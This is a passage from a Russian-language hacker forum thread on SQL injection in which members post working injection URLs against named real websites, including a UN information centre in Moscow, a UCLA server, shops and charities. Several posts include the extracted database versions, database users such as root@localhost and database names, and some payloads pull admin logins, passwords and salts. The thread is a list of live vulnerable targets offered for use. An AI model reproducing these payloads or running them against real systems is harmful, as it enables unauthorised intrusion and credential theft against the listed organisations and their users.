SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. linvel

    linvel Elder - Старейшина

    Joined:
    5 Aug 2010
    Messages:
    316
    Likes Received:
    72
    Reputations:
    16
    тиц 10 pr 5
    Code:
    http://www.talendforge.org/forum/viewtag.php?id=124-999.9+union+select+1,2,3,4,5,6,7--
    тиц 180 pr 6
    Code:
    http://www.slax.org/forum.php?action=view%26parentID=44538-999.9+union+select+1,2,3,4--
    тиц 0 pr 4
    Code:
    http://forum.linux.or.id/viewforum.php?f=16-999.9+union+select+1,2,3,4--
    тиц 10 pr 4
    Code:
    http://www.archemix.com/website/_popup_press_release.php?release=48-999.9+union+select+1,2,3,4,5,6,7,8--
    Code:
    http://www.ismashmedia.com/videos/watch.php?id=341%26amp%3bvideo=The-Muppets-(2011-999.9+union+select+1,2,3,4,5,6,7,8,9,10--
    тиц 0 pr 4
    Code:
    http://www.firstcallmedical.co.uk/detail.php?page=division%26id=1-999.9+union+select+1,2,3,4,5,6,7--
     
    3 people like this.
  2. nemaniak

    nemaniak Elder - Старейшина

    Joined:
    10 Jun 2008
    Messages:
    195
    Likes Received:
    161
    Reputations:
    108
    augeo-foundation.nl PR-5
    Code:
    http://www.augeo-foundation.nl/flash/mypage.php?id=-27+union+select+concat_ws(0x3a,version(),user(),database()),2+--+
    Code:
    5.0.32-Debian_7etch8-log:[email protected]:marijnb5_augeo
    promoultra.com ~1к уников
    Code:
    http://www.promoultra.com/modules/catalog/print.php?ItemId=100215+and+5=substring((SELECT+version()),1,1)+--+
    -- true
    Code:
    http://www.promoultra.com/modules/catalog/print.php?ItemId=100215+and+4=substring((SELECT+version()),1,1)+--+
    -- false (редирект)

    unic.ru тиц-300 Информационный центр ООН в Москве
    Code:
    http://www.unic.ru/news_pres/viewer.php?uid=54 AND 1=2 UNION SELECT 1,2,3,concat_ws(0x3a,version(),user(),database())#
    Code:
    4.0.27-log:[email protected]:unic
     
    #14522 nemaniak, 6 Jan 2012
    Last edited: 6 Jan 2012
  3. linvel

    linvel Elder - Старейшина

    Joined:
    5 Aug 2010
    Messages:
    316
    Likes Received:
    72
    Reputations:
    16
    Тиц 10 ПР 4
    Code:
    http://www.myhomeremedies.com/topic.cgi?topicid=91-999.9+union+select+1,2,3,4,5,6,7--
     
  4. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    FederalPost - сетевое информационное издание​

    тИЦ 850, в день 1-2к трафа
    Code:
    http://www.federalpost.ru/russia/issue_-38614+union+select+1,2,version(),4,5,6--+f.html
    Version(): 4.0.26-standard :(
    OS: Linux regions 2.4.20-8smp #1 SMP Thu Mar 13 17:45:54 EST 2003 i686
     
  5. BLurpi^_^

    BLurpi^_^ Banned

    Joined:
    9 Feb 2011
    Messages:
    218
    Likes Received:
    26
    Reputations:
    9
    PR:4
    PR:2
    PR:4
    ТИЦ:20
    ПР:4
     
    #14525 BLurpi^_^, 7 Jan 2012
    Last edited: 7 Jan 2012
    2 people like this.
  6. VY_CMa

    VY_CMa Green member

    Joined:
    6 Jan 2012
    Messages:
    917
    Likes Received:
    492
    Reputations:
    724
    Тиц - 20
    PR - 2
     
    _________________________
    3 people like this.
  7. Faaax

    Faaax Banned

    Joined:
    30 Aug 2010
    Messages:
    329
    Likes Received:
    46
    Reputations:
    11
    ТиЦ 250
    Pr 4
    Code:
    http://www.decima.ru/et/article.html?di=-180'+union+select+1,2,3,4,5,6,concat_ws(0x3a,version(),user()),8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7--+
     
    2 people like this.
  8. HellFire

    HellFire Elder - Старейшина

    Joined:
    18 Jan 2009
    Messages:
    98
    Likes Received:
    78
    Reputations:
    40
    Сайт поддержки сервис-инженеров и пользователей Контрольно-Кассовых Машин.

    Code:
    http://www.kkm.info/myboard/viewthread.php?number=1000-999.9+UNION+SELECT+1,2,3,4,5,6,7,AES_DECRYPT(AES_ENCRYPT(CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),0x71),0x71),9,10,11-- 
    Вывод в титле.

    Database Version: 4.1.25
    Database name: kkminfo5_kkm9
    User name: root@localhost

    PR: 2
    ТИЦ: 160


    Университет (Калифорния)

    Code:
    http://datause.cse.ucla[COLOR=Red].edu[/COLOR]/library_results.php?q=herman&c=&id=100-0.01+UNION+SELECT+1,2,AES_DECRYPT(AES_ENCRYPT(CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),0x71),0x71),4,5,6,7,8,9-- 
    File_Priv = Y

    Database Version: 5.5.13
    Database name: datause
    User name: root@localhost

    PR: 8
    ТИЦ: 1500
     
    #14528 HellFire, 8 Jan 2012
    Last edited: 8 Jan 2012
    2 people like this.
  9. Pirotexnik

    Pirotexnik Member

    Joined:
    13 Oct 2010
    Messages:
    376
    Likes Received:
    73
    Reputations:
    38
    Code:
    http://www.acnstudios.com/bizdirect/page.php?id=-1+aNd+%281%29/**/=/**/%281%29+union+select+1,2,3,4,5,concat_ws%280x3a,login,pass,salt%29,7,8,9,10,11,12+from+pmd_users+limit+0,1/**/--+
     
    2 people like this.
  10. Osstudio

    Osstudio Banned

    Joined:
    17 Apr 2011
    Messages:
    638
    Likes Received:
    160
    Reputations:
    81
    http://autoklimat.info/?p=3%27+and+1=0+union+select+group_concat%28column_name+separator+0x3c62723e%29+from+information_schema.columns+where+table_name=0x77735f6c657632+--+
     
    3 people like this.
  11. HellFire

    HellFire Elder - Старейшина

    Joined:
    18 Jan 2009
    Messages:
    98
    Likes Received:
    78
    Reputations:
    40
    Путеводитель по ресторанам

    Code:
    http://www.restop.ru/restcard.php?num=631-000.001+UNION+SELECT+1,AES_DECRYPT(AES_ENCRYPT(CONCAT(Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User()),0x71),0x71),3,4,5,6--
    Вывод в титле.

    Database Version: 5.1.57
    Database name: delinformcopy
    User name: delokop@localhost

    PR: 4
    ТИЦ: 150


    А вот эти пасаны занимаются IT безопасностью авиационно-космических систем...печаль :(

    Code:
    http://www.ireth.net/newsExt.php?id=15-000.001+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,AES_DECRYPT(AES_ENCRYPT(CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),0x71),0x71),14,15,16-- 
    Database Version: 5.0.92-enterprise-gpl-log
    Database name: Sql196053_2
    User name: [email protected]

    PR: 3
    ТИЦ: 0


    И еще одни IT безопасники...

    Code:
    http://www.ithealth.co.uk/page.php?id=134-0.1+UNION+SELECT+AES_DECRYPT(AES_ENCRYPT(CONCAT(Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User()),0x71),0x71),2,3,4-- 
    Вывод в титле.

    Database Version: 4.0.24-log
    Database name: user12315203_1
    User name: [email protected]

    PR: 2
    ТИЦ: 0
     
    #14531 HellFire, 9 Jan 2012
    Last edited: 9 Jan 2012
    1 person likes this.
  12. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    Code:
    http://www.mitropolia-ardealului.ro/eparhii.php?id=14+and+1=0+union+select+1,version()
    pr: 4

    Code:
    http://www.emobila.ro/detalii_subcats.php?idfirma=-68+union+select+1,2,3,parola,5,6,7,8,9,10+from+useri+limit+0,1--

    Code:
    http://www.barnabas.nu/nederlands/page.php?id=-4+union+select+1,2,table_name,4,5,6+from+information_schema.tables+limit+28,1--

    Code:
    http://www.e-wigs.com/wigs.php?id=-489+union+select+1,2,3,4,5,version(),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--
    4 версия
     
    _________________________
    #14532 yarbabin, 9 Jan 2012
    Last edited by a moderator: 9 Jan 2012
  13. Pirotexnik

    Pirotexnik Member

    Joined:
    13 Oct 2010
    Messages:
    376
    Likes Received:
    73
    Reputations:
    38
    http://94.75.242.197/index.php?langid=-2/*!union*//*--*//*!select*//*--*/unhex%28hex%28concat_ws%280x3a,user,pass%29%29%29+from+adm+limit+0,1+--#/*
     
  14. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    Code:
    http://supercica.com/prikaz.php?id=18+and+1=0+union+select+1,unhex(hex(concat_ws(0x3a,amd_pass,adm_username))),3,4,5,6+from+supercic_uchkur.administratori+limit+0,1--
    Code:
    http://www.seiko.es/news/news.php?id=-25+union+select+1,2,3,4,5,6,version(),8,9,10--

    Code:
    http://www.hvqagency.com/view_model.php?model_id=261+union+select+1,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37+from+information_schema.tables+limit+1,1--
    Code:
    http://davidcrocker.com/info.php?info_id=-1+union+select+1,2,3,4,5,6,7,version(),9,10,11,12,13,14,15/*
    Code:
    http://www.crunch.org.uk/charity.php?CharityID=-5+union+select+1,2,3,4,version(),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49--
    Code:
    http://www.misionescuatro.com/ampliar.php?id=-15271+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--
    d1v, не чекнул я на бояны, да
     
    _________________________
    #14534 yarbabin, 10 Jan 2012
    Last edited: 10 Jan 2012
    2 people like this.
  15. brain

    brain Elder - Старейшина

    Joined:
    4 Jul 2010
    Messages:
    249
    Likes Received:
    90
    Reputations:
    33
    Сайтец о зароботке денег в интернете.

    Code:
    http://www.howtoberich.ru/blog_view_post.php?id=-97+union+select+1,version(),3,4,5%20--
    Какой то фанатский клуб
    Code:
    http://www.dcucenter.com/event.php?id=-657+union+select+1,version()29,3,4,5,6,7,8,9,10,11 -- 
     
    #14535 brain, 10 Jan 2012
    Last edited: 10 Jan 2012
    3 people like this.
  16. Faaax

    Faaax Banned

    Joined:
    30 Aug 2010
    Messages:
    329
    Likes Received:
    46
    Reputations:
    11
    Code:
    http://tv.powernet.com.ru/tv.php?tv=-1+union+all+select+1,2,3,4,5,6,version%28%29,8,9--
     
    1 person likes this.
  17. mup4uk

    mup4uk New Member

    Joined:
    7 Jan 2012
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Code:
    http://www.motosport.in32.ru/production.php?model=-348
    Дальше к сожалению разобрать не смог :(

    Хотя сканер говорит
    Кто сможет сообщите пожалуйста или подскажите в какую сторону копать !
     
  18. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    Code:
    http://www.motosport.in32.ru/production.php?model=-348+union+select+1,2,3,4,user(),database(),version(),8,9,10,11,12,13,14,15,16--+f
     
  19. Pirotexnik

    Pirotexnik Member

    Joined:
    13 Oct 2010
    Messages:
    376
    Likes Received:
    73
    Reputations:
    38
    http://docareer.org/news/news_report.php?key=%27+union+select+1,user%28%29+--+
     
    1 person likes this.
  20. brain

    brain Elder - Старейшина

    Joined:
    4 Jul 2010
    Messages:
    249
    Likes Received:
    90
    Reputations:
    33
    Экскурсии по африке вроде
    Code:
    http://www.astroafricaeu.com/event.php?id=-1+union+select+1,2,3,table_name,5,6,7,8,9,10,11,12,13,14+from+information_schema.tables+limit+0,10%20--
    Интернет магазин одеял, подушек, и т.д (UA)
    Code:
    http://constancy.com.ua/view_items.php?catid=-1+union+select+1,version(),3 -- 
    Клуб знатаков :cool:
    Code:
    http://www.chgk.com.ru/person.php?id=-360+union+select+1,2,3,4,table_name,6,7+from+information_schema.tables%20--
     
    #14540 brain, 12 Jan 2012
    Last edited: 12 Jan 2012
    3 people like this.
Thread Status:
Not open for further replies.